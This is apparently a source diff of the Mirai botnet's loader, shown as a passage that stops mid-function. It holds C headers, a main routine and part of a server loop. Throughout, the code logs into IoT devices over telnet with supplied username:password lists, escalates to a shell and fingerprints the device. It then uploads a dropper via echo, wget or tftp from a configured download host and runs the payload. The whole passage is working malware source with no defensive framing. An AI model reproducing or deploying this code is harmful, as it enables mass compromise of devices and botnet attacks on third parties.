|     int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     if (offset == -1) | ||||
|         return 0; | ||||
|  | ||||
|     if (util_memsearch(conn->rdbuf, offset, "Permission denied", 17) != -1) | ||||
|         return offset * -1; | ||||
|  | ||||
|     if (util_memsearch(conn->rdbuf, offset, "timeout", 7) != -1) | ||||
|         return offset * -1; | ||||
|  | ||||
|     if (util_memsearch(conn->rdbuf, offset, "illegal option", 14) != -1) | ||||
|         return offset * -1; | ||||
|  | ||||
|     return offset; | ||||
| } | ||||
|  | ||||
| int connection_verify_payload(struct connection *conn) | ||||
| { | ||||
|     int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, EXEC_RESPONSE, strlen(EXEC_RESPONSE)); | ||||
|  | ||||
|     if (offset == -1) | ||||
|         return 0; | ||||
|  | ||||
|     if (util_memsearch(conn->rdbuf, offset, "listening tun0", 14) == -1) | ||||
|         return offset; | ||||
|     else | ||||
|         return 255 + offset; | ||||
| } | ||||
|  | ||||
| int connection_consume_cleanup(struct connection *conn) | ||||
| { | ||||
|     int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); | ||||
|  | ||||
|     if (offset == -1) | ||||
|         return 0; | ||||
|     return offset; | ||||
| } | ||||
|  | ||||
| static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount) | ||||
| { | ||||
|     uint8_t *end = conn->rdbuf + conn->rdbuf_pos; | ||||
|  | ||||
|     return ptr + amount < end; | ||||
| } | ||||
							
								
								
									
										16
									
								
								loader/src/headers/binary.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										16
									
								
								loader/src/headers/binary.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,16 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include "includes.h" | ||||
|  | ||||
| #define BINARY_BYTES_PER_ECHOLINE   128 | ||||
|  | ||||
| struct binary { | ||||
|     char arch[6]; | ||||
|     int hex_payloads_len; | ||||
|     char **hex_payloads; | ||||
| }; | ||||
|  | ||||
| BOOL binary_init(void); | ||||
| struct binary *binary_get_by_arch(char *arch); | ||||
|  | ||||
| static BOOL load(struct binary *bin, char *fname); | ||||
							
								
								
									
										67
									
								
								loader/src/headers/connection.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										67
									
								
								loader/src/headers/connection.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,67 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <time.h> | ||||
| #include <pthread.h> | ||||
| #include "includes.h" | ||||
| #include "telnet_info.h" | ||||
|  | ||||
| struct connection { | ||||
|     pthread_mutex_t lock; | ||||
|     struct server *srv; | ||||
|     struct binary *bin; | ||||
|     struct telnet_info info; | ||||
|     int fd, echo_load_pos; | ||||
|     time_t last_recv; | ||||
|     enum { | ||||
|         TELNET_CLOSED,          // 0 | ||||
|         TELNET_CONNECTING,      // 1 | ||||
|         TELNET_READ_IACS,       // 2 | ||||
|         TELNET_USER_PROMPT,     // 3 | ||||
|         TELNET_PASS_PROMPT,     // 4 | ||||
|         TELNET_WAITPASS_PROMPT, // 5 | ||||
|         TELNET_CHECK_LOGIN,     // 6 | ||||
|         TELNET_VERIFY_LOGIN,    // 7 | ||||
|         TELNET_PARSE_PS,        // 8 | ||||
|         TELNET_PARSE_MOUNTS,    // 9 | ||||
|         TELNET_READ_WRITEABLE,  // 10 | ||||
|         TELNET_COPY_ECHO,       // 11 | ||||
|         TELNET_DETECT_ARCH,     // 12 | ||||
|         TELNET_ARM_SUBTYPE,     // 13 | ||||
|         TELNET_UPLOAD_METHODS,  // 14 | ||||
|         TELNET_UPLOAD_ECHO,     // 15 | ||||
|         TELNET_UPLOAD_WGET,     // 16 | ||||
|         TELNET_UPLOAD_TFTP,     // 17 | ||||
|         TELNET_RUN_BINARY,      // 18 | ||||
|         TELNET_CLEANUP          // 19 | ||||
|     } state_telnet; | ||||
|     struct { | ||||
|         char data[512]; | ||||
|         int deadline; | ||||
|     } output_buffer; | ||||
|     uint16_t rdbuf_pos, timeout; | ||||
|     BOOL open, success, retry_bin, ctrlc_retry; | ||||
|     uint8_t rdbuf[8192]; | ||||
| }; | ||||
|  | ||||
| void connection_open(struct connection *conn); | ||||
| void connection_close(struct connection *conn); | ||||
|  | ||||
| int connection_consume_iacs(struct connection *conn); | ||||
| int connection_consume_login_prompt(struct connection *conn); | ||||
| int connection_consume_password_prompt(struct connection *conn); | ||||
| int connection_consume_prompt(struct connection *conn); | ||||
| int connection_consume_verify_login(struct connection *conn); | ||||
| int connection_consume_psoutput(struct connection *conn); | ||||
| int connection_consume_mounts(struct connection *conn); | ||||
| int connection_consume_written_dirs(struct connection *conn); | ||||
| int connection_consume_copy_op(struct connection *conn); | ||||
| int connection_consume_arch(struct connection *conn); | ||||
| int connection_consume_arm_subtype(struct connection *conn); | ||||
| int connection_consume_upload_methods(struct connection *conn); | ||||
| int connection_upload_echo(struct connection *conn); | ||||
| int connection_upload_wget(struct connection *conn); | ||||
| int connection_upload_tftp(struct connection *conn); | ||||
| int connection_verify_payload(struct connection *conn); | ||||
| int connection_consume_cleanup(struct connection *conn); | ||||
|  | ||||
| static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount); | ||||
							
								
								
									
										36
									
								
								loader/src/headers/includes.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										36
									
								
								loader/src/headers/includes.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,36 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <stdint.h> | ||||
|  | ||||
| #define STDIN   0 | ||||
| #define STDOUT  1 | ||||
| #define STDERR  2 | ||||
|  | ||||
| #define FALSE   0 | ||||
| #define TRUE    1 | ||||
| typedef char BOOL; | ||||
|  | ||||
| typedef uint32_t ipv4_t; | ||||
| typedef uint16_t port_t; | ||||
|  | ||||
| #define LOADER_LITTLE_ENDIAN | ||||
|  | ||||
| #define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i) | ||||
| #define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i) | ||||
| #define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1) | ||||
| #define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1) | ||||
| #define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0) | ||||
|  | ||||
| #define VERIFY_STRING_HEX   "\\x6b\\x61\\x6d\\x69" | ||||
| #define VERIFY_STRING_CHECK "kami" | ||||
|  | ||||
| #define TOKEN_QUERY     "/bin/busybox ECCHI" | ||||
| #define TOKEN_RESPONSE  "ECCHI: applet not found" | ||||
|  | ||||
| #define EXEC_QUERY     "/bin/busybox IHCCE" | ||||
| #define EXEC_RESPONSE  "IHCCE: applet not found" | ||||
|  | ||||
| #define FN_DROPPER  "upnp" | ||||
| #define FN_BINARY   "dvrHelper" | ||||
|  | ||||
| extern char *id_tag; | ||||
							
								
								
									
										38
									
								
								loader/src/headers/server.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										38
									
								
								loader/src/headers/server.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,38 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <sys/epoll.h> | ||||
| #include "includes.h" | ||||
| #include "telnet_info.h" | ||||
| #include "connection.h" | ||||
|  | ||||
| struct server { | ||||
|     uint32_t max_open; | ||||
|     volatile uint32_t curr_open; | ||||
|     volatile uint32_t total_input, total_logins, total_echoes, total_wgets, total_tftps, total_successes, total_failures; | ||||
|     char *wget_host_ip, *tftp_host_ip; | ||||
|     struct server_worker *workers; | ||||
|     struct connection **estab_conns; | ||||
|     ipv4_t *bind_addrs; | ||||
|     pthread_t to_thrd; | ||||
|     port_t wget_host_port; | ||||
|     uint8_t workers_len, bind_addrs_len; | ||||
|     int curr_worker_child; | ||||
| }; | ||||
|  | ||||
| struct server_worker { | ||||
|     struct server *srv; | ||||
|     int efd; // We create a separate epoll context per thread so thread safety isn't our problem | ||||
|     pthread_t thread; | ||||
|     uint8_t thread_id; | ||||
| }; | ||||
|  | ||||
| struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip); | ||||
| void server_destroy(struct server *srv); | ||||
| void server_queue_telnet(struct server *srv, struct telnet_info *info); | ||||
| void server_telnet_probe(struct server *srv, struct telnet_info *info); | ||||
|   | ||||
| static void bind_core(int core); | ||||
| static void *worker(void *arg); | ||||
| static void handle_output_buffers(struct server_worker *); | ||||
| static void handle_event(struct server_worker *wrker, struct epoll_event *ev); | ||||
| static void *timeout_thread(void *); | ||||
							
								
								
									
										18
									
								
								loader/src/headers/telnet_info.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										18
									
								
								loader/src/headers/telnet_info.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,18 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include "includes.h" | ||||
|  | ||||
| struct telnet_info { | ||||
|     char user[32], pass[32], arch[6], writedir[32]; | ||||
|     ipv4_t addr; | ||||
|     port_t port; | ||||
|     enum { | ||||
|         UPLOAD_ECHO, | ||||
|         UPLOAD_WGET, | ||||
|         UPLOAD_TFTP | ||||
|     } upload_method; | ||||
|     BOOL has_auth, has_arch; | ||||
| }; | ||||
|  | ||||
| struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info); | ||||
| struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out); | ||||
							
								
								
									
										72
									
								
								loader/src/headers/util.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										72
									
								
								loader/src/headers/util.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,72 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include "server.h" | ||||
| #include "includes.h" | ||||
|  | ||||
| #define BUFFER_SIZE 4096 | ||||
|  | ||||
| #define EI_NIDENT   16 // Side of e_ident in elf header | ||||
| #define EI_DATA     5  // Offset endianness in e_ident | ||||
|  | ||||
| #define EE_NONE     0 // No endianness ???? | ||||
| #define EE_LITTLE   1 // Little endian | ||||
| #define EE_BIG      2 // Big endian | ||||
|  | ||||
| #define ET_NOFILE   0 // None | ||||
| #define ET_REL      1 // Relocatable file | ||||
| #define ET_EXEC     2 // Executable file | ||||
| #define ET_DYN      3 // Shared object file | ||||
| #define ET_CORE     4 // Core file | ||||
|  | ||||
| /* These constants define the various ELF target machines */ | ||||
| #define EM_NONE         0 | ||||
| #define EM_M32          1 | ||||
| #define EM_SPARC        2 | ||||
| #define EM_386          3 | ||||
| #define EM_68K          4 // m68k | ||||
| #define EM_88K          5 // m68k | ||||
| #define EM_486          6 // x86 | ||||
| #define EM_860          7 // Unknown | ||||
| #define EM_MIPS         8       /* MIPS R3000 (officially, big-endian only) */ | ||||
|                                 /* Next two are historical and binaries and | ||||
|                                    modules of these types will be rejected by | ||||
|                                    Linux.  */ | ||||
| #define EM_MIPS_RS3_LE  10      /* MIPS R3000 little-endian */ | ||||
| #define EM_MIPS_RS4_BE  10      /* MIPS R4000 big-endian */ | ||||
|  | ||||
| #define EM_PARISC       15      /* HPPA */ | ||||
| #define EM_SPARC32PLUS  18      /* Sun's "v8plus" */ | ||||
| #define EM_PPC          20      /* PowerPC */ | ||||
| #define EM_PPC64        21      /* PowerPC64 */ | ||||
| #define EM_SPU          23      /* Cell BE SPU */ | ||||
| #define EM_ARM          40      /* ARM 32 bit */ | ||||
| #define EM_SH           42      /* SuperH */ | ||||
| #define EM_SPARCV9      43      /* SPARC v9 64-bit */ | ||||
| #define EM_H8_300       46      /* Renesas H8/300 */ | ||||
| #define EM_IA_64        50      /* HP/Intel IA-64 */ | ||||
| #define EM_X86_64       62      /* AMD x86-64 */ | ||||
| #define EM_S390         22      /* IBM S/390 */ | ||||
| #define EM_CRIS         76      /* Axis Communications 32-bit embedded processor */ | ||||
| #define EM_M32R         88      /* Renesas M32R */ | ||||
| #define EM_MN10300      89      /* Panasonic/MEI MN10300, AM33 */ | ||||
| #define EM_OPENRISC     92     /* OpenRISC 32-bit embedded processor */ | ||||
| #define EM_BLACKFIN     106     /* ADI Blackfin Processor */ | ||||
| #define EM_ALTERA_NIOS2 113     /* Altera Nios II soft-core processor */ | ||||
| #define EM_TI_C6000     140     /* TI C6X DSPs */ | ||||
| #define EM_AARCH64      183     /* ARM 64 bit */ | ||||
| #define EM_TILEPRO      188     /* Tilera TILEPro */ | ||||
| #define EM_MICROBLAZE   189     /* Xilinx MicroBlaze */ | ||||
| #define EM_TILEGX       191     /* Tilera TILE-Gx */ | ||||
| #define EM_FRV          0x5441  /* Fujitsu FR-V */ | ||||
| #define EM_AVR32        0x18ad  /* Atmel AVR32 */ | ||||
|  | ||||
| struct elf_hdr { | ||||
|     uint8_t e_ident[EI_NIDENT]; | ||||
|     uint16_t e_type, e_machine; | ||||
|     uint32_t e_version; | ||||
| } __attribute__((packed)); | ||||
|  | ||||
| int util_socket_and_bind(struct server *srv); | ||||
| int util_memsearch(char *buf, int buf_len, char *mem, int mem_len); | ||||
| BOOL util_sockprintf(int fd, const char *fmt, ...); | ||||
| char *util_trim(char *str); | ||||
							
								
								
									
										115
									
								
								loader/src/main.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										115
									
								
								loader/src/main.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,115 @@ | ||||
| #include <stdio.h> | ||||
| #include <stdlib.h> | ||||
| #include <unistd.h> | ||||
| #include <string.h> | ||||
| #include <unistd.h> | ||||
| #include <pthread.h> | ||||
| #include <sys/socket.h> | ||||
| #include <errno.h> | ||||
| #include "headers/includes.h" | ||||
| #include "headers/server.h" | ||||
| #include "headers/telnet_info.h" | ||||
| #include "headers/binary.h" | ||||
| #include "headers/util.h" | ||||
|  | ||||
| static void *stats_thread(void *); | ||||
|  | ||||
| static struct server *srv; | ||||
|  | ||||
| char *id_tag = "telnet"; | ||||
|  | ||||
| int main(int argc, char **args) | ||||
| { | ||||
|     pthread_t stats_thrd; | ||||
|     uint8_t addrs_len; | ||||
|     ipv4_t *addrs; | ||||
|     uint32_t total = 0; | ||||
|     struct telnet_info info; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     addrs_len = 1; | ||||
|     addrs = calloc(4, sizeof (ipv4_t)); | ||||
|     addrs[0] = inet_addr("0.0.0.0"); | ||||
| #else | ||||
|     addrs_len = 2; | ||||
|     addrs = calloc(addrs_len, sizeof (ipv4_t)); | ||||
|  | ||||
|     addrs[0] = inet_addr("192.168.0.1"); // Address to bind to | ||||
|     addrs[1] = inet_addr("192.168.1.1"); // Address to bind to | ||||
| #endif | ||||
|  | ||||
|     if (argc == 2) | ||||
|     { | ||||
|         id_tag = args[1]; | ||||
|     } | ||||
|  | ||||
|     if (!binary_init()) | ||||
|     { | ||||
|         printf("Failed to load bins/dlr.* as dropper\n"); | ||||
|         return 1; | ||||
|     } | ||||
|  | ||||
|     /*                                                                                   wget address           tftp address */ | ||||
|     if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL) | ||||
|     { | ||||
|         printf("Failed to initialize server. Aborting\n"); | ||||
|         return 1; | ||||
|     } | ||||
|  | ||||
|     pthread_create(&stats_thrd, NULL, stats_thread, NULL); | ||||
|  | ||||
|     // Read from stdin | ||||
|     while (TRUE) | ||||
|     { | ||||
|         char strbuf[1024]; | ||||
|  | ||||
|         if (fgets(strbuf, sizeof (strbuf), stdin) == NULL) | ||||
|             break; | ||||
|  | ||||
|         util_trim(strbuf); | ||||
|  | ||||
|         if (strlen(strbuf) == 0) | ||||
|         { | ||||
|             usleep(10000); | ||||
|             continue; | ||||
|         } | ||||
|  | ||||
|         memset(&info, 0, sizeof(struct telnet_info)); | ||||
|         if (telnet_info_parse(strbuf, &info) == NULL) | ||||
|             printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf); | ||||
|         else | ||||
|         { | ||||
|             if (srv == NULL) | ||||
|                 printf("srv == NULL 2\n"); | ||||
|  | ||||
|             server_queue_telnet(srv, &info); | ||||
|             if (total++ % 1000 == 0) | ||||
|                 sleep(1); | ||||
|         } | ||||
|  | ||||
|         ATOMIC_INC(&srv->total_input); | ||||
|     } | ||||
|  | ||||
|     printf("Hit end of input.\n"); | ||||
|  | ||||
|     while(ATOMIC_GET(&srv->curr_open) > 0) | ||||
|         sleep(1); | ||||
|  | ||||
|     return 0; | ||||
| } | ||||
|  | ||||
| static void *stats_thread(void *arg) | ||||
| { | ||||
|     uint32_t seconds = 0; | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
| #ifndef DEBUG | ||||
|         printf("%ds\tProcessed: %d\tConns: %d\tLogins: %d\tRan: %d\tEchoes:%d Wgets: %d, TFTPs: %d\n", | ||||
|                seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes), | ||||
|                ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps)); | ||||
| #endif | ||||
|         fflush(stdout); | ||||
|         sleep(1); | ||||
|     } | ||||
| } | ||||
							
								
								
									
										640
									
								
								loader/src/server.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										640
									
								
								loader/src/server.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,640 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #include <stdio.h> | ||||
| #include <stdlib.h> | ||||
| #include <pthread.h> | ||||
| #include <sys/epoll.h> | ||||
| #include <sys/socket.h> | ||||
| #include <arpa/inet.h> | ||||
| #include <string.h> | ||||
| #include <sched.h> | ||||
| #include <errno.h> | ||||
| #include "headers/includes.h" | ||||
| #include "headers/server.h" | ||||
| #include "headers/telnet_info.h" | ||||
| #include "headers/connection.h" | ||||
| #include "headers/binary.h" | ||||
| #include "headers/util.h" | ||||
|  | ||||
| struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip) | ||||
| { | ||||
|     struct server *srv = calloc(1, sizeof (struct server)); | ||||
|     struct server_worker *workers = calloc(threads, sizeof (struct server_worker)); | ||||
|     int i; | ||||
|  | ||||
|     // Fill out the structure | ||||
|     srv->bind_addrs_len = addr_len; | ||||
|     srv->bind_addrs = addrs; | ||||
|     srv->max_open = max_open; | ||||
|     srv->wget_host_ip = wghip; | ||||
|     srv->wget_host_port = wghp; | ||||
|     srv->tftp_host_ip = thip; | ||||
|     srv->estab_conns = calloc(max_open * 2, sizeof (struct connection *)); | ||||
|     srv->workers = calloc(threads, sizeof (struct server_worker)); | ||||
|     srv->workers_len = threads; | ||||
|  | ||||
|     if (srv->estab_conns == NULL) | ||||
|     { | ||||
|         printf("Failed to allocate establisted_connections array\n"); | ||||
|         exit(0); | ||||
|     } | ||||
|  | ||||
|     // Allocate locks internally | ||||
|     for (i = 0; i < max_open * 2; i++) | ||||
|     { | ||||
|         srv->estab_conns[i] = calloc(1, sizeof (struct connection)); | ||||
|         if (srv->estab_conns[i] == NULL) | ||||
|         { | ||||
|             printf("Failed to allocate connection %d\n", i); | ||||
|             exit(-1); | ||||
|         } | ||||
|         pthread_mutex_init(&(srv->estab_conns[i]->lock), NULL); | ||||
|     } | ||||
|  | ||||
|     // Create worker threads | ||||
|     for (i = 0; i < threads; i++) | ||||
|     { | ||||
|         struct server_worker *wrker = &srv->workers[i]; | ||||
|  | ||||
|         wrker->srv = srv; | ||||
|         wrker->thread_id = i; | ||||
|  | ||||
|         if ((wrker->efd = epoll_create1(0)) == -1) | ||||
|         { | ||||
|             printf("Failed to initialize epoll context. Error code %d\n", errno); | ||||
|             free(srv->workers); | ||||
|             free(srv); | ||||
|             return NULL; | ||||
|         } | ||||
|  | ||||
|         pthread_create(&wrker->thread, NULL, worker, wrker); | ||||
|     } | ||||
|  | ||||
|     pthread_create(&srv->to_thrd, NULL, timeout_thread, srv); | ||||
|  | ||||
|     return srv; | ||||
| } | ||||
|  | ||||
| void server_destroy(struct server *srv) | ||||
| { | ||||
|     if (srv == NULL) | ||||
|         return; | ||||
|     if (srv->bind_addrs != NULL) | ||||
|         free(srv->bind_addrs); | ||||
|     if (srv->workers != NULL) | ||||
|         free(srv->workers); | ||||
|     free(srv); | ||||
| } | ||||
|  | ||||
| void server_queue_telnet(struct server *srv, struct telnet_info *info) | ||||
| { | ||||
|     while (ATOMIC_GET(&srv->curr_open) >= srv->max_open) | ||||
|     { | ||||
|         sleep(1); | ||||
|     } | ||||
|     ATOMIC_INC(&srv->curr_open); | ||||
|  | ||||
|     if (srv == NULL) | ||||
|         printf("srv == NULL 3\n"); | ||||
|  | ||||
|     server_telnet_probe(srv, info); | ||||
| } | ||||
|  | ||||
| void server_telnet_probe(struct server *srv, struct telnet_info *info) | ||||
| { | ||||
|     int fd = util_socket_and_bind(srv); | ||||
|     struct sockaddr_in addr; | ||||
|     struct connection *conn; | ||||
|     struct epoll_event event; | ||||
|     int ret; | ||||
|     struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len]; | ||||
|  | ||||
|     if (fd == -1) | ||||
|     { | ||||
|         if (time(NULL) % 10 == 0) | ||||
|         { | ||||
|             printf("Failed to open and bind socket\n"); | ||||
|         } | ||||
|         ATOMIC_DEC(&srv->curr_open); | ||||
|         return; | ||||
|     } | ||||
|     while (fd >= (srv->max_open * 2)) | ||||
|     { | ||||
|         printf("fd too big\n"); | ||||
|         conn->fd = fd; | ||||
| #ifdef DEBUG | ||||
|         printf("Can't utilize socket because client buf is not large enough\n"); | ||||
| #endif | ||||
|         connection_close(conn); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     if (srv == NULL) | ||||
|         printf("srv == NULL 4\n"); | ||||
|  | ||||
|     conn = srv->estab_conns[fd]; | ||||
|     memcpy(&conn->info, info, sizeof (struct telnet_info)); | ||||
|     conn->srv = srv; | ||||
|     conn->fd = fd; | ||||
|     connection_open(conn); | ||||
|  | ||||
|     addr.sin_family = AF_INET; | ||||
|     addr.sin_addr.s_addr = info->addr; | ||||
|     addr.sin_port = info->port; | ||||
|     ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); | ||||
|     if (ret == -1 && errno != EINPROGRESS) | ||||
|     { | ||||
|         printf("got connect error\n"); | ||||
|     } | ||||
|  | ||||
|     event.data.fd = fd; | ||||
|     event.events = EPOLLOUT; | ||||
|     epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event); | ||||
| } | ||||
|  | ||||
| static void bind_core(int core) | ||||
| { | ||||
|     pthread_t tid = pthread_self(); | ||||
|     cpu_set_t cpuset; | ||||
|     CPU_ZERO(&cpuset); | ||||
|     CPU_SET(core, &cpuset); | ||||
|     if (pthread_setaffinity_np(tid, sizeof (cpu_set_t), &cpuset) != 0) | ||||
|         printf("Failed to bind to core %d\n", core); | ||||
| } | ||||
|  | ||||
| static void *worker(void *arg) | ||||
| { | ||||
|     struct server_worker *wrker = (struct server_worker *)arg; | ||||
|     struct epoll_event events[128]; | ||||
|  | ||||
|     bind_core(wrker->thread_id); | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         int i, n = epoll_wait(wrker->efd, events, 127, -1); | ||||
|  | ||||
|         if (n == -1) | ||||
|             perror("epoll_wait"); | ||||
|  | ||||
|         for (i = 0; i < n; i++) | ||||
|             handle_event(wrker, &events[i]); | ||||
|     } | ||||
| } | ||||
|  | ||||
| static void handle_event(struct server_worker *wrker, struct epoll_event *ev) | ||||
| { | ||||
|     struct connection *conn = wrker->srv->estab_conns[ev->data.fd]; | ||||
|  | ||||
|     if (conn->fd == -1) | ||||
|     { | ||||
|         conn->fd = ev->data.fd; | ||||
|         connection_close(conn); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     if (conn->fd != ev->data.fd) | ||||
|     { | ||||
|         printf("yo socket mismatch\n"); | ||||
|     } | ||||
|  | ||||
|     // Check if there was an error | ||||
|     if (ev->events & EPOLLERR || ev->events & EPOLLHUP || ev->events & EPOLLRDHUP) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         if (conn->open) | ||||
|             printf("[FD%d] Encountered an error and must shut down\n", ev->data.fd); | ||||
| #endif | ||||
|         connection_close(conn); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     // Are we ready to write? | ||||
|     if (conn->state_telnet == TELNET_CONNECTING && ev->events & EPOLLOUT) | ||||
|     { | ||||
|         struct epoll_event event; | ||||
|  | ||||
|         int so_error = 0; | ||||
|         socklen_t len = sizeof(so_error); | ||||
|         getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &so_error, &len); | ||||
|         if (so_error) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[FD%d] Connection refused\n", ev->data.fd); | ||||
| #endif | ||||
|             connection_close(conn); | ||||
|             return; | ||||
|         } | ||||
|  | ||||
| #ifdef DEBUG | ||||
|         printf("[FD%d] Established connection\n", ev->data.fd); | ||||
| #endif | ||||
|         event.data.fd = conn->fd; | ||||
|         event.events = EPOLLIN | EPOLLET; | ||||
|         epoll_ctl(wrker->efd, EPOLL_CTL_MOD, conn->fd, &event); | ||||
|         conn->state_telnet = TELNET_READ_IACS; | ||||
|         conn->timeout = 30; | ||||
|     } | ||||
|  | ||||
|     if (!conn->open) | ||||
|     { | ||||
|         printf("socket not open! conn->fd: %d, fd: %d, events: %08x, state: %08x\n", conn->fd, ev->data.fd, ev->events, conn->state_telnet); | ||||
|     } | ||||
|  | ||||
|     // Is there data to read? | ||||
|     if (ev->events & EPOLLIN && conn->open) | ||||
|     { | ||||
|         int ret; | ||||
|  | ||||
|         conn->last_recv = time(NULL); | ||||
|         while (TRUE) | ||||
|         { | ||||
|             ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, sizeof (conn->rdbuf) - conn->rdbuf_pos, MSG_NOSIGNAL); | ||||
|             if (ret <= 0) | ||||
|             { | ||||
|                 if (errno != EAGAIN && errno != EWOULDBLOCK) | ||||
|                 { | ||||
| #ifdef DEBUG | ||||
|                     if (conn->open) | ||||
|                         printf("[FD%d] Encountered error %d. Closing\n", ev->data.fd, errno); | ||||
| #endif | ||||
|                     connection_close(conn); | ||||
|                 } | ||||
|                 break; | ||||
|             } | ||||
| #ifdef DEBUG | ||||
|             printf("TELIN: %.*s\n", ret, conn->rdbuf + conn->rdbuf_pos); | ||||
| #endif | ||||
|             conn->rdbuf_pos += ret; | ||||
|             conn->last_recv = time(NULL); | ||||
|  | ||||
|             if (conn->rdbuf_pos > 8196) | ||||
| 			{ | ||||
|                 printf("oversized buffer pointer!\n"); | ||||
| 				abort(); | ||||
| 			} | ||||
|  | ||||
|             while (TRUE) | ||||
|             { | ||||
|                 int consumed; | ||||
|  | ||||
|                 switch (conn->state_telnet) | ||||
|                 { | ||||
|                     case TELNET_READ_IACS: | ||||
|                         consumed = connection_consume_iacs(conn); | ||||
|                         if (consumed) | ||||
|                             conn->state_telnet = TELNET_USER_PROMPT; | ||||
|                         break; | ||||
|                     case TELNET_USER_PROMPT: | ||||
|                         consumed = connection_consume_login_prompt(conn); | ||||
|                         if (consumed) | ||||
|                         { | ||||
|                             util_sockprintf(conn->fd, "%s", conn->info.user); | ||||
|                             strcpy(conn->output_buffer.data, "\r\n"); | ||||
|                             conn->output_buffer.deadline = time(NULL) + 1; | ||||
|                             conn->state_telnet = TELNET_PASS_PROMPT; | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_PASS_PROMPT: | ||||
|                         consumed = connection_consume_password_prompt(conn); | ||||
|                         if (consumed) | ||||
|                         { | ||||
|                             util_sockprintf(conn->fd, "%s", conn->info.pass); | ||||
|                             strcpy(conn->output_buffer.data, "\r\n"); | ||||
|                             conn->output_buffer.deadline = time(NULL) + 1; | ||||
|                             conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_WAITPASS_PROMPT: | ||||
|                         if ((consumed = connection_consume_prompt(conn)) > 0) | ||||
|                         { | ||||
|                             util_sockprintf(conn->fd, "enable\r\n"); | ||||
|                             util_sockprintf(conn->fd, "shell\r\n"); | ||||
|                             util_sockprintf(conn->fd, "sh\r\n"); | ||||
|                             conn->state_telnet = TELNET_CHECK_LOGIN; | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_CHECK_LOGIN: | ||||
|                         if ((consumed = connection_consume_prompt(conn)) > 0) | ||||
|                         { | ||||
|                             util_sockprintf(conn->fd, TOKEN_QUERY "\r\n"); | ||||
|                             conn->state_telnet = TELNET_VERIFY_LOGIN; | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_VERIFY_LOGIN: | ||||
|                         consumed = connection_consume_verify_login(conn); | ||||
|                         if (consumed) | ||||
|                         { | ||||
|                             ATOMIC_INC(&wrker->srv->total_logins); | ||||
| #ifdef DEBUG | ||||
|                             printf("[FD%d] Succesfully logged in\n", ev->data.fd); | ||||
| #endif | ||||
|                             util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r\n"); | ||||
|                             conn->state_telnet = TELNET_PARSE_PS; | ||||
|                         } | ||||
|                         break; | ||||
|                     case TELNET_PARSE_PS: | ||||
|                         if ((consumed = connection_consume_psoutput(conn)) > 0) | ||||
|                         { | ||||
